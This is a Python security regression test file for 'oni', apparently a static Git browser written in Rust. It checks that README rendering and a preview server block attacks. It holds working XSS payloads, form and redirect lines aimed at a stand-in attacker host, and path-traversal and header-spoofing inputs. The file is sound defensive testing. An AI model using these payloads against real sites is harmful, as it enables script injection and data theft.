oni.git

oni

~ A static Git browser written in Rust.
git clone https://github.com/debuman/oni.git

scripts/test_security.py (13250B)

      1 #!/usr/bin/env python3
      2 """Adversarial local security regressions. Fixtures never contact external hosts."""
      3 
      4 from functools import partial
      5 from html.parser import HTMLParser
      6 import http.client
      7 import os
      8 from pathlib import Path
      9 import subprocess
     10 import sys
     11 import tempfile
     12 from threading import Thread
     13 import unittest
     14 
     15 sys.path.insert(0, str(Path(__file__).resolve().parent))
     16 from readme_assets import ReadmeLinks, link_readme_assets
     17 from serve import PreviewHandler, PreviewServer
     18 
     19 ROOT = Path(__file__).resolve().parents[1]
     20 BINARY = ROOT / ".cache/cargo/release/sqzer-stagit"
     21 PNG = b"\x89PNG\r\n\x1a\n" + b"image bytes"
     22 
     23 
     24 def git(repo, *args):
     25     return subprocess.check_output(["git", "-C", str(repo), *args], stderr=subprocess.PIPE, timeout=60)
     26 
     27 
     28 def fixture(root, name, files):
     29     repo = root / name
     30     repo.mkdir()
     31     git(repo, "init", "-q", "--initial-branch=main")
     32     git(repo, "config", "user.name", "Audit <script>alert(1)</script>")
     33     git(repo, "config", "user.email", "audit@example.invalid")
     34     for name, content in files.items():
     35         target = repo / name
     36         target.parent.mkdir(parents=True, exist_ok=True)
     37         target.write_bytes(content if isinstance(content, bytes) else content.encode())
     38     git(repo, "add", "-A")
     39     git(repo, "commit", "-qm", "Security <img src=x onerror=alert(1)> fixture")
     40     return repo
     41 
     42 
     43 def generate(repo, output, success=True):
     44     result = subprocess.run([BINARY, "--output", output, repo], capture_output=True, timeout=60)
     45     if success:
     46         assert result.returncode == 0, result.stderr.decode()
     47     else:
     48         assert result.returncode != 0, "Unsafe generation unexpectedly succeeded"
     49     return result
     50 
     51 
     52 class Elements(HTMLParser):
     53     def __init__(self, document):
     54         super().__init__()
     55         self.elements = []
     56         self.feed(document)
     57 
     58     def handle_starttag(self, tag, attributes):
     59         self.elements.append((tag, dict(attributes)))
     60 
     61 
     62 class GeneratorTests(unittest.TestCase):
     63     def setUp(self):
     64         self.directory = tempfile.TemporaryDirectory(prefix="oni-security-")
     65         self.root = Path(self.directory.name)
     66 
     67     def tearDown(self):
     68         self.directory.cleanup()
     69 
     70     def test_markdown_xss_and_metadata_urls(self):
     71         payloads = [
     72             '<details><summary>Safe details</summary>Safe text</details>',
     73             '- [x] Safe task',
     74             '~~~rust\nlet safe = "<script>";\n~~~',
     75             '<script>window.__oni_xss=1</script>',
     76             '<img src=x onerror="window.__oni_xss=2">',
     77             '<a href="java&#x09;script:alert(1)">encoded scheme</a>',
     78             '<a href="&#106;avascript:alert(1)">entity scheme</a>',
     79             '[Markdown](javascript:alert(1))',
     80             '[data](data:text/html;base64,PHNjcmlwdD4=)',
     81             '<iframe srcdoc="<script>alert(1)</script>"></iframe>',
     82             '<base href="https://attacker.invalid/"><meta http-equiv="refresh" content="0;url=https://attacker.invalid">',
     83             '<form action="https://attacker.invalid"><input type=password name=secret><button formaction="https://attacker.invalid">submit</button></form>',
     84             '<svg><a xlink:href="javascript:alert(1)"><text>SVG</text></a></svg>',
     85             '<math><mtext><table><mglyph><style><!--</style><img title="--><img src=1 onerror=alert(1)>">',
     86             '<math><annotation-xml encoding="text/html"><svg><foreignObject><script>alert(1)</script></foreignObject></svg></annotation-xml></math>',
     87             '<div style="position:fixed;inset:0" id="location" name="constructor">overlay</div>',
     88         ]
     89         for number, payload in enumerate(payloads):
     90             with self.subTest(payload=payload):
     91                 content = "\n\n".join(payloads[:3] + [payload])
     92                 repo = fixture(self.root, f"html-{number}", {"README.md": content})
     93                 (repo / ".git/url").write_text("javascript:alert(7)")
     94                 out = self.root / f"out-{number}"
     95                 generate(repo, out)
     96                 self.check_sanitized((out / "README.html").read_text())
     97 
     98     def check_sanitized(self, document):
     99         article = document.split('<article class="readme">', 1)[1].split('</article>', 1)[0]
    100         nodes = Elements(article).elements
    101         forbidden = {"script", "style", "iframe", "svg", "math", "base", "meta", "form", "button", "object", "embed"}
    102         self.assertFalse(forbidden & {tag for tag, _ in nodes})
    103         for tag, attrs in nodes:
    104             self.assertFalse(any(name.startswith("on") or name in {"style", "srcdoc", "srcset", "id", "name", "action"} for name in attrs))
    105             for name in ("href", "src"):
    106                 url = attrs.get(name, "")
    107                 self.assertNotIn("javascript:", url.lower())
    108                 self.assertFalse(url.lower().startswith(("data:", "file:", "vbscript:")))
    109             if tag == "input":
    110                 self.assertEqual(attrs.get("type"), "checkbox")
    111                 self.assertIn("disabled", attrs)
    112         self.assertIn("details", {tag for tag, _ in nodes})
    113         self.assertIn('class="language-rust"', article)
    114         self.assertIn('http-equiv="Content-Security-Policy"', document)
    115         self.assertNotIn('href="javascript:', document)
    116 
    117     def test_worktree_metadata_and_metadata_links(self):
    118         repo = fixture(self.root, "metadata", {"README.md": "# Safe"})
    119         secret = self.root / "private.txt"
    120         secret.write_text("DO_NOT_PUBLISH_THIS_SENTINEL")
    121         (repo / "description").symlink_to(secret)
    122         (repo / "url").symlink_to(secret)
    123         (repo / ".git/owner").symlink_to(secret)
    124         (repo / ".git/description").unlink()
    125         (repo / ".git/description").symlink_to(secret)
    126         out = self.root / "out"
    127         generate(repo, out)
    128         for page in out.rglob("*.html"):
    129             self.assertNotIn(secret.read_text(), page.read_text())
    130 
    131     def test_output_directory_links_and_file_links(self):
    132         repo = fixture(self.root, "links", {"README.md": "# Safe", "nested/a.txt": "safe"})
    133         outside = self.root / "outside"
    134         outside.mkdir()
    135         out = self.root / "out"
    136         out.mkdir()
    137         (out / "file").symlink_to(outside, target_is_directory=True)
    138         generate(repo, out, success=False)
    139         self.assertEqual(list(outside.iterdir()), [])
    140         (out / "file").unlink()
    141         secret = outside / "private.txt"
    142         secret.write_text("unchanged")
    143         oid = git(repo, "rev-parse", "HEAD").decode().strip()
    144         (out / "commit").mkdir(exist_ok=True)
    145         target = out / f"commit/{oid}.html"
    146         target.symlink_to(secret)
    147         generate(repo, out)
    148         self.assertEqual(secret.read_text(), "unchanged")
    149         self.assertFalse(target.is_symlink())
    150         alias = self.root / "alias"
    151         alias.symlink_to(outside, target_is_directory=True)
    152         generate(repo, alias, success=False)
    153 
    154     def test_nonportable_path_is_rejected(self):
    155         for number, name in enumerate(("folder\\..\\outside.txt", "file:stream")):
    156             repo = fixture(self.root, f"path-{number}", {name: "unsafe path"})
    157             result = generate(repo, self.root / f"out-{number}", success=False)
    158             self.assertIn(b"unsafe Git file path", result.stderr)
    159 
    160     def test_markdown_and_blob_size_limits(self):
    161         repo = fixture(self.root, "large-readme", {"README.md": b"x" * (4 * 1024 * 1024 + 1)})
    162         result = generate(repo, self.root / "readme-out", success=False)
    163         self.assertIn(b"4 MiB", result.stderr)
    164         repo = fixture(self.root, "large-blob", {"huge.bin": b"\0" * (32 * 1024 * 1024 + 1)})
    165         result = generate(repo, self.root / "blob-out", success=False)
    166         self.assertIn(b"32 MiB", result.stderr)
    167 
    168     def test_active_assets_and_page_boundary(self):
    169         repo = fixture(self.root, "assets", {
    170             "README.md": '<img src="good.png"><img src="fake.png"><img src="active.svg"><img src="active.html">\n\n[style source](style.css)',
    171             "good.png": PNG, "fake.png": "<html><script>alert(1)</script></html>",
    172             "active.svg": '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
    173             "active.html": "<script>alert(1)</script>", "style.css": "body {display:none}",
    174         })
    175         out = self.root / "out"
    176         generate(repo, out)
    177         link_readme_assets(out, repo, {"full_name": "owner/repo", "default_branch": "main"})
    178         page = (out / "README.html").read_text()
    179         self.assertIn('rel="stylesheet" href="style.css"', page)
    180         self.assertIn('href="file/style.css.html"', page)
    181         self.assertEqual((out / "raw/good.png").read_bytes(), PNG)
    182         for name in ("fake.png", "active.svg", "active.html"):
    183             self.assertFalse((out / "raw" / name).exists())
    184         self.assertIn("https://raw.githubusercontent.com/owner/repo/", page)
    185         outside = self.root / "external-assets"
    186         outside.mkdir()
    187         other = self.root / "other-output"
    188         other.mkdir()
    189         (other / "raw").symlink_to(outside, target_is_directory=True)
    190         parser = ReadmeLinks(other, repo, {"full_name": "owner/repo", "default_branch": "main"})
    191         try:
    192             with self.assertRaises(ValueError):
    193                 parser.resolve_link("good.png", True)
    194         finally:
    195             parser.close()
    196         self.assertEqual(list(outside.iterdir()), [])
    197 
    198 
    199 class QuietHandler(PreviewHandler):
    200     def log_message(self, *args):
    201         pass
    202 
    203 
    204 class PreviewTests(unittest.TestCase):
    205     def setUp(self):
    206         self.directory = tempfile.TemporaryDirectory(prefix="oni-http-security-")
    207         self.root = Path(self.directory.name)
    208         self.public = self.root / "public"
    209         self.public.mkdir()
    210         (self.public / "index.html").write_text("safe preview")
    211         (self.root / "private.txt").write_text("PRIVATE_SENTINEL")
    212         self.server = PreviewServer(("127.0.0.1", 0), partial(QuietHandler, directory=str(self.public)))
    213         self.thread = Thread(target=self.server.serve_forever, daemon=True)
    214         self.thread.start()
    215 
    216     def tearDown(self):
    217         self.server.shutdown()
    218         self.server.server_close()
    219         self.thread.join()
    220         self.directory.cleanup()
    221 
    222     def request(self, path="/", headers=None, method="GET"):
    223         connection = http.client.HTTPConnection("127.0.0.1", self.server.server_port, timeout=5)
    224         try:
    225             connection.request(method, path, headers=headers or {})
    226             response = connection.getresponse()
    227             return response.status, dict(response.getheaders()), response.read()
    228         finally:
    229             connection.close()
    230 
    231     def test_response_headers_and_untrusted_hosts(self):
    232         status, headers, body = self.request()
    233         self.assertEqual(status, 200)
    234         self.assertEqual(body, b"safe preview")
    235         self.assertIn("script-src 'none'", headers["Content-Security-Policy"])
    236         self.assertEqual(headers["X-Content-Type-Options"], "nosniff")
    237         self.assertEqual(headers["X-Frame-Options"], "DENY")
    238         for headers in ({"Host": "attacker.invalid"}, {"Host": "localhost.attacker.invalid"},
    239                         {"Host": "127.0.0.1@attacker.invalid"}, {"Origin": "https://attacker.invalid"},
    240                         {"Origin": "null"}, {"Sec-Fetch-Site": "cross-site"}):
    241             self.assertEqual(self.request(headers=headers)[0], 403)
    242         self.assertEqual(self.request(method="HEAD", headers={"Host": "attacker.invalid"})[0], 403)
    243         self.assertEqual(self.request(method="PUT")[0], 501)
    244 
    245     def test_traversal_and_links(self):
    246         for path in ("/../private.txt", "/%2e%2e/private.txt", "/%252e%252e/private.txt",
    247                      "/..%5cprivate.txt", "/index.html:stream", "/%00", "/.git/config",
    248                      "/.GIT/config", "/.git./config", "/..%20/private.txt"):
    249             status, _, data = self.request(path)
    250             self.assertGreaterEqual(status, 400, path)
    251             self.assertNotIn(b"PRIVATE_SENTINEL", data)
    252         if os.name == "nt":
    253             outside = self.root / "outside"
    254             outside.mkdir()
    255             (outside / "index.html").write_text("PRIVATE_SENTINEL")
    256             junction = self.public / "junction"
    257             subprocess.run(["cmd", "/c", "mklink", "/J", str(junction), str(outside)],
    258                            check=True, capture_output=True, timeout=10)
    259             self.assertEqual(self.request("/junction/index.html")[0], 403)
    260             return
    261         (self.public / "link.txt").symlink_to(self.root / "private.txt")
    262         self.assertEqual(self.request("/link.txt")[0], 403)
    263         directory = self.public / "directory"
    264         directory.mkdir()
    265         self.assertEqual(self.request("/directory/")[0], 404)
    266         (directory / "index.html").symlink_to(self.root / "private.txt")
    267         self.assertEqual(self.request("/directory/")[0], 403)
    268 
    269     def test_raw_content_type(self):
    270         raw = self.public / "raw"
    271         raw.mkdir()
    272         (raw / "active.html").write_text("<script>alert(1)</script>")
    273         (raw / "image.png").write_bytes(PNG)
    274         self.assertEqual(self.request("/raw/active.html")[1]["Content-type"], "application/octet-stream")
    275         self.assertEqual(self.request("/raw/image.png")[1]["Content-type"], "image/png")
    276 
    277 
    278 if __name__ == "__main__":
    279     unittest.main(verbosity=2)